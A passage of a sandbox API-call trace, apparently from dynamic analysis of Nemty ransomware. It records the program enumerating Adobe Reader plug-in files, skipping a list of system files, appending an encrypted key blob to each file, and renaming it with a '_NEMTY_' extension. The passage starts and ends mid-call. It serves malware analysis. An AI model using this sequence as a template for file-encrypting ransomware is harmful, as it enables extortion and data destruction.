hFile=0x2f0, lDistanceToMove=7680, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1e00 [0191.211] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340260*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340260*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0191.211] CloseHandle (hObject=0x2f0) returned 1 [0191.211] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403d0 [0191.211] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0191.211] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.211] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0191.211] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.211] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.211] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340488 [0191.211] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0191.211] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340488 | out: hHeap=0x4f90000) returned 1 [0191.211] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.211] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Mcimpp.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.suo"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Mcimpp.SUO._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.suo._nemty_kgobjgd_")) returned 1 [0191.212] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0191.212] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d0 | out: hHeap=0x4f90000) returned 1 [0191.212] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0191.212] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0191.212] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0191.212] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0191.212] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.212] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401a8 | out: hHeap=0x4f90000) returned 1 [0191.212] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d795840, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="MCIMPP.SVE", cAlternateFileName="")) returned 1 [0191.212] lstrcmpiW (lpString1="MCIMPP.SVE", lpString2=".") returned 1 [0191.212] lstrcmpiW (lpString1="MCIMPP.SVE", lpString2="..") returned 1 [0191.212] lstrcmpiW (lpString1="MCIMPP.SVE", lpString2="...") returned 1 [0191.212] lstrcmpiW (lpString1="MCIMPP.SVE", lpString2="windows") returned -1 [0191.212] lstrcmpiW (lpString1="MCIMPP.SVE", lpString2="$RECYCLE.BIN") returned 1 [0191.212] lstrcmpiW (lpString1="MCIMPP.SVE", lpString2="rsa") returned -1 [0191.212] lstrcmpiW (lpString1="MCIMPP.SVE", lpString2="NTDETECT.COM") returned -1 [0191.212] lstrcmpiW (lpString1="MCIMPP.SVE", lpString2="ntldr") returned -1 [0191.212] lstrcmpiW (lpString1="MCIMPP.SVE", lpString2="MSDOS.SYS") returned -1 [0191.212] lstrcmpiW (lpString1="MCIMPP.SVE", lpString2="IO.SYS") returned 1 [0191.212] lstrcmpiW (lpString1="MCIMPP.SVE", lpString2="boot.ini") returned 1 [0191.212] lstrcmpiW (lpString1="MCIMPP.SVE", lpString2="boot.ini") returned 1 [0191.212] lstrcmpiW (lpString1="MCIMPP.SVE", lpString2="AUTOEXEC.BAT") returned 1 [0191.212] lstrcmpiW (lpString1="MCIMPP.SVE", lpString2="ntuser.dat") returned -1 [0191.212] lstrcmpiW (lpString1="MCIMPP.SVE", lpString2="desktop.ini") returned 1 [0191.212] lstrcmpiW (lpString1="MCIMPP.SVE", lpString2="CONFIG.SYS") returned 1 [0191.212] lstrcmpiW (lpString1="MCIMPP.SVE", lpString2="RECYCLER") returned -1 [0191.212] lstrcmpiW (lpString1="MCIMPP.SVE", lpString2="BOOTSECT.BAK") returned 1 [0191.212] lstrcmpiW (lpString1="MCIMPP.SVE", lpString2="bootmgr") returned 1 [0191.212] lstrcmpiW (lpString1="MCIMPP.SVE", lpString2="programdata") returned -1 [0191.213] lstrcmpiW (lpString1="MCIMPP.SVE", lpString2="appdata") returned 1 [0191.213] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.213] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.SVE", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0191.213] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.SVE", cchWideChar=10, lpMultiByteStr=0x653e550, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MCIMPP.SVE", lpUsedDefaultChar=0x0) returned 10 [0191.213] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.213] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.SVE", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0191.213] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.SVE", cchWideChar=10, lpMultiByteStr=0x653e550, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MCIMPP.SVE", lpUsedDefaultChar=0x0) returned 10 [0191.213] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.213] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.213] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.213] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.SVE", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0191.213] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.SVE", cchWideChar=10, lpMultiByteStr=0x653e5a0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MCIMPP.SVE", lpUsedDefaultChar=0x0) returned 10 [0191.213] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.213] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.213] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.SVE", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0191.213] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.SVE", cchWideChar=10, lpMultiByteStr=0x653e5d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MCIMPP.SVE", lpUsedDefaultChar=0x0) returned 10 [0191.213] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.213] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401a8 [0191.213] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0191.213] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400f0 [0191.213] Sleep (dwMilliseconds=0x5) [0191.223] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x259fdb70, dwHighDateTime=0x1d561e8)) [0191.223] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x259fdb70, dwHighDateTime=0x1d561e8)) [0191.223] GetLastError () returned 0x0 [0191.223] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0191.223] GetLastError () returned 0x0 [0191.223] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.223] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0191.223] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.223] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0191.223] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0191.223] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0191.223] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340260 [0191.223] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340260, pcchString=0x653e29c | out: pszString="QZFeJyOF7vVxtMuqMjjCzpjMFWw0FXUh7rLfzdYXP3YkZ4JWXThlu/fu3mpV4H24\r\naEC1eEy3KiEGiVDnEJjN65Kqi7wa73tCydsFtdGkD4hmvGDU7jE+l2jRljzTPv9k\r\nbNqr8rc9ojpqSOanOzVT7chaWwzL/2VqAUX8XjfcABXR77002xYf/TxTwtHc24w8\r\nosoLVR8FeRjpvUbaKzpes70s3z64S1zCG+i0jZxIW2yRqppE7xe/0QoBlY1kXeTJ\r\n/G0QfFQUzfQcMTECRBfzS6Mg1t29YKk9uvtKPDkF+4aNGF1ki787KNOLkR72GmiZ\r\ncxHvMU95MarScvMpD1EELA==\r\n", pcchString=0x653e29c) returned 1 [0191.223] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0191.223] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0191.223] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.223] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0191.223] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340260 [0191.223] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0191.223] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\MCIMPP.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.sve"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0191.224] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=7680) returned 1 [0191.224] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1e00) returned 0x6352c48 [0191.224] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.224] ReadFile (in: hFile=0x2f0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e4e4*=0x1e00, lpOverlapped=0x0) returned 1 [0191.226] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.226] WriteFile (in: hFile=0x2f0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e4dc*=0x1e00, lpOverlapped=0x0) returned 1 [0191.226] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0191.226] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=7680, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1e00 [0191.227] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340260*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340260*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0191.227] CloseHandle (hObject=0x2f0) returned 1 [0191.227] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403d0 [0191.227] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0191.227] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.227] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0191.227] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.227] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.227] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340488 [0191.227] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0191.227] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340488 | out: hHeap=0x4f90000) returned 1 [0191.227] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.227] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\MCIMPP.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.sve"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\MCIMPP.SVE._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.sve._nemty_kgobjgd_")) returned 1 [0191.228] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0191.228] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d0 | out: hHeap=0x4f90000) returned 1 [0191.228] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0191.228] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0191.228] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0191.228] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0191.228] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.228] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0191.228] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="QuickTime.CAT", cAlternateFileName="QUICKT~1.CAT")) returned 1 [0191.230] lstrcmpiW (lpString1="QuickTime.CAT", lpString2=".") returned 1 [0191.230] lstrcmpiW (lpString1="QuickTime.CAT", lpString2="..") returned 1 [0191.230] lstrcmpiW (lpString1="QuickTime.CAT", lpString2="...") returned 1 [0191.230] lstrcmpiW (lpString1="QuickTime.CAT", lpString2="windows") returned -1 [0191.230] lstrcmpiW (lpString1="QuickTime.CAT", lpString2="$RECYCLE.BIN") returned 1 [0191.230] lstrcmpiW (lpString1="QuickTime.CAT", lpString2="rsa") returned -1 [0191.230] lstrcmpiW (lpString1="QuickTime.CAT", lpString2="NTDETECT.COM") returned 1 [0191.230] lstrcmpiW (lpString1="QuickTime.CAT", lpString2="ntldr") returned 1 [0191.230] lstrcmpiW (lpString1="QuickTime.CAT", lpString2="MSDOS.SYS") returned 1 [0191.230] lstrcmpiW (lpString1="QuickTime.CAT", lpString2="IO.SYS") returned 1 [0191.230] lstrcmpiW (lpString1="QuickTime.CAT", lpString2="boot.ini") returned 1 [0191.230] lstrcmpiW (lpString1="QuickTime.CAT", lpString2="boot.ini") returned 1 [0191.230] lstrcmpiW (lpString1="QuickTime.CAT", lpString2="AUTOEXEC.BAT") returned 1 [0191.230] lstrcmpiW (lpString1="QuickTime.CAT", lpString2="ntuser.dat") returned 1 [0191.230] lstrcmpiW (lpString1="QuickTime.CAT", lpString2="desktop.ini") returned 1 [0191.230] lstrcmpiW (lpString1="QuickTime.CAT", lpString2="CONFIG.SYS") returned 1 [0191.230] lstrcmpiW (lpString1="QuickTime.CAT", lpString2="RECYCLER") returned -1 [0191.230] lstrcmpiW (lpString1="QuickTime.CAT", lpString2="BOOTSECT.BAK") returned 1 [0191.230] lstrcmpiW (lpString1="QuickTime.CAT", lpString2="bootmgr") returned 1 [0191.230] lstrcmpiW (lpString1="QuickTime.CAT", lpString2="programdata") returned 1 [0191.230] lstrcmpiW (lpString1="QuickTime.CAT", lpString2="appdata") returned 1 [0191.230] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.230] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.CAT", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0191.230] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.CAT", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.CAT", lpUsedDefaultChar=0x0) returned 13 [0191.230] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.230] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.CAT", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0191.230] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.CAT", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.CAT", lpUsedDefaultChar=0x0) returned 13 [0191.230] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.231] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.231] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.231] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.CAT", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0191.231] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.CAT", cchWideChar=13, lpMultiByteStr=0x653e5a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.CAT", lpUsedDefaultChar=0x0) returned 13 [0191.231] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.231] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.231] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.CAT", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0191.231] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.CAT", cchWideChar=13, lpMultiByteStr=0x653e5d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.CAT", lpUsedDefaultChar=0x0) returned 13 [0191.231] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.231] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400f0 [0191.231] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401a8 | out: hHeap=0x4f90000) returned 1 [0191.231] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401a8 [0191.231] Sleep (dwMilliseconds=0x5) [0191.238] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x25a23cd0, dwHighDateTime=0x1d561e8)) [0191.238] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x25a23cd0, dwHighDateTime=0x1d561e8)) [0191.238] GetLastError () returned 0x0 [0191.238] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0191.238] GetLastError () returned 0x0 [0191.238] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.238] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0191.238] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.238] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0191.239] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0191.239] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0191.239] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340260 [0191.239] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340260, pcchString=0x653e29c | out: pszString="atv9g5hMo0c/8sA1CP22HcWxGXM23AoCSs3heTnaIjj3jCW7i/wn1sERJbNZeVSg\r\nOpfjGctbWtmsJdkAXvnsNO9860EaOADDn5cSsTd5kNBc5bpZO/I68fa4ZK30a0Tn\r\nyLDogWCoV8iS/u8CEspy5Petay0XygrV3j2jGN4+7/XHK+P7OsSgdLwt9/USCDNe\r\n0EY3WrHa8T1NlAr36QbcjHcNgYiSdR0rJ5ryisBi6lz47Ah9ybpob+qcwHDNcDkY\r\n4jnGBfLB3N0ZAWimrZT8Z0pcSKBDobwNljpV4auFjgACyymKra+7xb7rIuIKDtuk\r\nSSF/PEIe26voY4qwxdeRLA==\r\n", pcchString=0x653e29c) returned 1 [0191.239] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0191.239] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0191.239] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.239] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0191.239] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340260 [0191.239] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0191.239] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\quicktime.cat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 